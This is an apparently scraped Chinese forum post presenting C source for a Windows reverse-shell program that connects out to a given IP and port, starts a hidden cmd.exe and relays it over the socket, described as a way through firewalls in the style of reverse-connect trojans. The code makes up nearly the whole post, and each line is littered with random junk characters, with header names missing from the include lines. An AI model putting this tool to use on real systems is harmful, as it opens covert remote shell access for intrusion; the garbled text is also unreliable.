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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^tKOxW# a  
Vg,>7?]6h  
/* ============================== I\uB"Z{9  
Rebound port in Windows NT | 8L`osg  
By wind,2006/7 q[|`&6B  
===============================*/ 3Llj_lf  
#include Zqs-I8y  
#include a6k(O8Ank3  
/E4}d =5L  
#pragma comment(lib,"wsock32.lib") ,8"[ /@  
C}P \kDM  
void OutputShell(); R,5$ 0_]|+  
SOCKET sClient; T;[c<gc/  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; , w'$T)  
~h^}W$pO  
void main(int argc,char **argv) ?.Yw%{?TG  
{ ;`PkmAg  
WSADATA stWsaData; PSQ:'  
int nRet; `)C`_g3Ew  
SOCKADDR_IN stSaiClient,stSaiServer; CpqSn/  
v yLAs;  
if(argc != 3) v.2Vg  
{ `Ig2f$}  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~q T1<k  
return; yDyeP{  
} lQ<n dt~  
Qhr]eu;z  
WSAStartup(MAKEWORD(2,2),&stWsaData); F3 l^^ Mc  
dbUZGn~  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B{o\RNU  
nC!^,c  
stSaiClient.sin_family = AF_INET; c'#J{3d  
stSaiClient.sin_port = htons(0); @Rb1)$~#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,8o*!(uO2  
//u76nQ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7(g&z%  
{ |UDD/e  
printf("Bind Socket Failed!\n"); rD U6 5j  
return; 5<?c_l9X^  
} rWfurB5f  
<&0*5|rR  
stSaiServer.sin_family = AF_INET; Q%VR@[`\  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P"_}F  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m3xj5]#^$  
?M-8Fp3 +  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^\kHEM|5v  
{ >.wd)  
printf("Connect Error!"); #M^Yh?~%w  
return; ;6 qdOD6  
} s>``- ]3  
OutputShell(); = 4WZr  
} 2d;xAX]  
"X(=  
void OutputShell() !@Vp Bl  
{ -zLI!F 0  
char szBuff[1024]; ZFuJ2 :  
SECURITY_ATTRIBUTES stSecurityAttributes; @$yYljP  
OSVERSIONINFO stOsversionInfo; cTa D{!zm5  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?| LB:8  
STARTUPINFO stStartupInfo; hGo|2@sc  
char *szShell; 8U:dgXz  
PROCESS_INFORMATION stProcessInformation; g7z9i[  
unsigned long lBytesRead; .d!*<`S|  
<.(/#=2  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z slEUTj)  
u&_U CJCf  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @OY-(cW  
stSecurityAttributes.lpSecurityDescriptor = 0; Bt7v[Ot   
stSecurityAttributes.bInheritHandle = TRUE; 10 H!  
L.:QI<n  
_%TeTNY#  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EEZ2Gu6c  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w:zC/5x`  
/ lM~K:  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (<JDD]J  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :Fd9N).%  
stStartupInfo.wShowWindow = SW_HIDE; ^QQ NJ  
stStartupInfo.hStdInput = hReadPipe; 3X,{9+(F  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `h3}"js  
<a[8;YQC  
GetVersionEx(&stOsversionInfo); 8si^HEQ8  
~[y+B0I3  
switch(stOsversionInfo.dwPlatformId) rPpAg  
{ ({nSs5)$  
case 1: ;OJ0}\*iP8  
szShell = "command.com"; swq!S p  
break; fToI,FA  
default: be%*0lr  
szShell = "cmd.exe"; VX[!Vh  
break; X@q1;J  
} 6MNA.{Jdd  
l4reG:uYG  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xi. KD  
X3O$Sd(D  
send(sClient,szMsg,77,0); Z2jb>%  
while(1) $[CA#AXE  
{ 5@%-=87S  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5m?$\h  
if(lBytesRead) /(pChY>  
{ }/0dfes  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); yZ0ZP  
send(sClient,szBuff,lBytesRead,0); +M&S  
} Y mjS!H  
else -%) !XB  
{ ;O|63  
lBytesRead=recv(sClient,szBuff,1024,0); 2B dr#qr  
if(lBytesRead<=0) break; HWOH8q{f!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K61os&K  
} N4jLbnA  
} BQ0\+  
R >&/n/l  
return; =T}uQ$X  
}
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